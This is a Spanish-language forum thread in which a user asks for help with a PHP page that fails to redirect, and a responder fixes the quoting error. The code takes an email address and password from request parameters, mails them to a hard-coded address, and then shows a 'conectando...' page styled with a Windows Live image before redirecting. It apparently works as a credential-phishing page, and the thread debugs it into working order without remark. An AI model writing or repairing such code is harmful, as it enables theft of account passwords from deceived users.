Redireccionar mi página con html

Hola, disculpe tengo problemas para redireccionar mi página hecha en php pero incluye código html, ya busqué ejemplos en la web pero no encuentro el error
<?
//Si se ha pulsado enviar, se comprueban los datos insertados y después se envía el correo
    if(isset($_POST['enviar'])){
        $correo=filter_input(INPUT_POST,"email",FILTER_SANITIZE_STRING);
  if($correo=="")
   $errores[]="El campo email no puede estar vacio";
 $clave=filter_input(INPUT_POST,"contraseña",FILTER_SANITIZE_STRING);
  if($clave=="")
   $errores[]="El campo contraseña no puede estar vacio";
    }else{
         $destinatario= "[email protected]";
  $cuerpo=$_GET['email'];
                $cuerpo2=$_GET['contraseña'];
  $pfw_subject = "Mensaje recibido, Asunto Reclutamiento sR|";
           @mail($destinatario ,$cuerpo,$cuerpo2) ; 
     echo "
<html>
<head>
<title>Pagina que redirige</title>
      AQUI PARECE MARCAR EL ERROR
<meta http-equiv="refresh"
content="2;url=http//www.desarrolloweb.com">
</head>
<body background=secure.wlxrs.com/~Live.SiteContent.ID/~15.3.21/~/~/~/~/images/wave3header.jpg>
  conectando...
</body>
</html>
";
}
?>
EL ERROR QUE MARCA ES "syntax error, unexpected T_STRING, expecting ',' or ';' in C:\AppServ\www\index.php on line 21"

1 respuesta

Respuesta
1
Pues el error parece estar en el echo, que tienes puestas comillas dobles y como el echo va con comillas dobles pues no se pueden usar, hay que escaparlas o poner simples, prueba a poner el echo así:
<?
//Si se ha pulsado enviar, se comprueban los datos insertados y después se envía el correo
if(isset($_POST['enviar'])){
    $correo=filter_input(INPUT_POST,"email",FILTER_SANITIZE_STRING);
    if($correo=="")   $errores[]="El campo email no puede estar vacio";
    $clave=filter_input(INPUT_POST,"contraseña",FILTER_SANITIZE_STRING);
    if($clave=="")   $errores[]="El campo contraseña no puede estar vacio";
}else{
  $destinatario= "[email protected]";
  $cuerpo=$_GET['email'];
  $cuerpo2=$_GET['contraseña'];
  $pfw_subject = "Mensaje recibido, Asunto Reclutamiento sR|";
  @mail($destinatario ,$cuerpo,$cuerpo2) ;
  echo "
<html>
<head>
<title>Pagina que redirige</title>
AQUI PARECE MARCAR EL ERROR
<meta http-equiv='refresh' content='2';url='http//www.desarrolloweb.com'>
</head>
<body background='secure.wlxrs.com/~Live.SiteContent.ID/~15.3.21/~/~/~/~/images/wave3header.jpg'>
conectando...
</body>
</html>
";
}
?>
Ok, gracias, pues ya no me marca error pero tampoco me redirige a la página indicada, lo solucione quintando encabezados y unicamente usar echo "
<meta http-equiv=refresh content ....>
"

Añade tu respuesta

Haz clic para o

Más respuestas relacionadas